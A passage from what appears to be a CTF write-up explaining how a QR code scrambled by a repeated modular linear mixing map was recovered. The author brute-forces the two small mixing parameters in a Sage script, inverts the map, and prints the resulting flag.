            final_arr[i*10:(i+1)*10, j*10:(j+1)*10] = arr[i][j]

    return final_arr

FLAG = open('flag.txt', 'r').read()

qr = qrcode.QRCode(border=0)
qr.add_data(FLAG)
qr.make(fit=True)

mat = np.array(qr.get_matrix(), dtype=bool)

a = random.randrange(1, len(mat)-1)
b = random.randrange(1, len(mat)-1)

scrambled = mat
for _ in range(22):
    scrambled = mix(a,b,scrambled)

scrambled = rescale(scrambled)

img = Image.fromarray(scrambled)
img.save('mixed.png')

To summarize, the code start by creating a QR code that can be decoded to the FLAG. Then, the code convert the QR code into matrix of boolean.

The code generate two random number $a$ and $b$, then it try to mix the matrix 22 times with the $a$ and $b$ values. The mix function itself was trying to scramble the array by doing some linear equations with the index like below: $$ nx = (x + y * a) \mod \text{len(arr)} \\ ny = (x * b + y * (a * b + 1)) \mod \text{len(arr)} $$

After that, it will try to rescale the image.

Based on this scheme, the target is to recover the mixed.png and get the correct QRCode image.

Solution

We can see that the value of $a$ and $b$ are very small, which means that it is bruteforce-able. Observe that if we can guess the value of $a$ and $b$, the mix function will become two linear equations with two unknowns ($x$, $y$) under modulo $len(arr)$. We can simply:

  • unscale the mixed.png
  • for each mix iteration, try to recover the original value of $x$ and $y$ by solving the linear equations.

Below is the script that I used to solve the challenge (sage). This script will basically generate a lot of images based on the pair of $a$ and $b$ that we brute-forced. We just need to find one image which is the QRCode of the FLAG.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import numpy as np
from PIL import Image

def unscale(final_arr):
    mod = len(final_arr)//10
    arr = np.zeros(shape=(mod, mod), dtype=bool)
    for i in range(mod):
        for j in range(mod):
            arr[i][j] = final_arr[i*10, j*10]
    return arr.astype(int).tolist()

def unmix(a, b, arr):
    mod = len(arr)
    R = IntegerModRing(mod)
    real_mat = [[0 for _ in range(mod)] for _ in range(mod)]
    for i in range(mod):
        for j in range(mod):
            M = Matrix(R, [
                [1,       a],
                [b, (a*b+1)],
            ])
            target = vector(R, [i, j])
            x, y = M.solve_right(target)
            real_mat[x][y] = arr[i][j]
    return real_mat

def rescale(arr):
    mod = len(arr)
    final_arr = np.zeros(shape=(mod*10,mod*10), dtype=bool)
    for i in range(mod):
        for j in range(mod):
            final_arr[i*10:(i+1)*10, j*10:(j+1)*10] = arr[i][j]

    return final_arr

image = Image.open("mixed.png")
image_array = np.array(image)

for a in range(1, (len(image_array)//10) - 1):
    for b in range(1, (len(image_array)//10) - 1):
        scrambled = unscale(image_array)
        for _ in range(22):
            scrambled = unmix(a, b, scrambled)
        ori_arr = np.array(scrambled, dtype=bool)
        ori_arr = rescale(ori_arr)
        img = Image.fromarray(ori_arr)
        img.save(f'result/{a}-{b}-flag.png')
        print(f'Saved to: result/{a}-{b}-flag.png')

After running the script for a while, parameters $a=10$ and $b=18$ produce the correct QRCode image.

Flag: CJ2023{small_exercise_to_start_your_day_:D}

Social Media

Follow me on twitter